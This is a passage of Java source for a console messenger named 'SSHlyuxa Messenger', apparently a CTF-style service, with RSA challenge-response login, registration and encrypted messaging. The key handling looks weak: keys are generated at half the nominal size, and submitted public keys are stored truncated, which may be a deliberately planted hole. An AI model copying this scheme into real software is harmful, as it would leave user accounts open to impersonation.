Exception { 28 | if (Utils.userExists(username)) { 29 | final int CHALLENGE_LEN = 16; 30 | 31 | byte[] challenge = Utils.generateRandom(CHALLENGE_LEN); 32 | System.out.println("To login please execute following command"); 33 | System.out.println("and enter the result"); 34 | System.out.println(String.format("\techo %s | xxd -r -p | openssl rsautl -sign -inkey %s.key | xxd -p -c2000\n", 35 | Utils.bytesToHex(challenge) ,username)); 36 | 37 | byte[] response = Utils.hexToBytes(Utils.ask("[resp]>")); 38 | byte[] buffer = Utils.decrypt(Utils.getUserKey(username), response); 39 | 40 | if (!java.util.Arrays.equals(challenge, buffer)) { 41 | System.out.println("Invalid challenge response!"); 42 | return; 43 | } 44 | 45 | System.out.println(String.format("Welcome, %s!", username)); 46 | this.context.runListener(username); 47 | } else { 48 | System.out.println(String.format("Cannot find user %s. Maybe you want to register?", username)); 49 | } 50 | 51 | } 52 | 53 | public void register(String username) throws Exception { 54 | if (Utils.userExists(username)) { 55 | System.out.println(String.format("User %s already exists. Maybe you want to login?", username)); 56 | return; 57 | } 58 | 59 | System.out.println("To register please specify your public key"); 60 | System.out.println("If you dont have public key, generate key pair using following command and enter the result"); 61 | System.out.println(String.format("\topenssl genrsa -out %s.key %d &>/dev/null; openssl rsa -in %s.key -pubout -outform DER | xxd -p -c2000\n", 62 | username, KEY_BITS>>1, username)); 63 | 64 | byte[] response = Utils.hexToBytes(Utils.ask("[resp]>")); 65 | Utils.saveUserKey(username, Arrays.copyOf(response, KEY_BITS/8)); 66 | System.out.println(String.format("User %s has been created", username)); 67 | } 68 | 69 | public void msgto(String username) throws Exception { 70 | if (!Utils.userExists(username)) { 71 | System.out.println(String.format("Cannot find user with userername `%s`", username)); 72 | return; 73 | } 74 | byte[] key = Utils.getUserKey(username); 75 | System.out.println(String.format("\techo YOURMESSAGE | openssl rsautl -inkey <(echo %s | xxd -r -p) -keyform DER -encrypt | xxd -p -c 99999 \n", 76 | Utils.bytesToHex(key))); 77 | byte[] response = Utils.hexToBytes(Utils.ask("[msg]>")); 78 | Sender sender = new Sender(username); 79 | sender.send(response); 80 | System.out.println("Done!"); 81 | } 82 | 83 | 84 | public Boolean process(String[] args) throws Exception { 85 | switch(args[0]) { 86 | case "help": 87 | help(); 88 | break; 89 | case "register": 90 | register(args[1]); 91 | break; 92 | case "auth": 93 | auth(args[1]); 94 | break; 95 | case "msgto": 96 | msgto(args[1]); 97 | break; 98 | default: 99 | System.out.println("Unknown command. Try 'help' to see the command list."); 100 | } 101 | return true; 102 | } 103 | 104 | public void run() throws Exception { 105 | System.out.println("Welcome to SSHlyuxa Messenger!"); 106 | try { 107 | while (true) { 108 | String input = Utils.ask(">>>"); 109 | if (input == null) 110 | break; 111 | 112 | String[] args = input.split(" "); 113 | if (args[0].equals("quit")) 114 | break; 115 | process(args); 116 | } 117 | } finally { 118 | this.context.stopListener(); 119 | } 120 | } 121 | 122 | 123 | } 124 | --------------------------------------------------------------------------------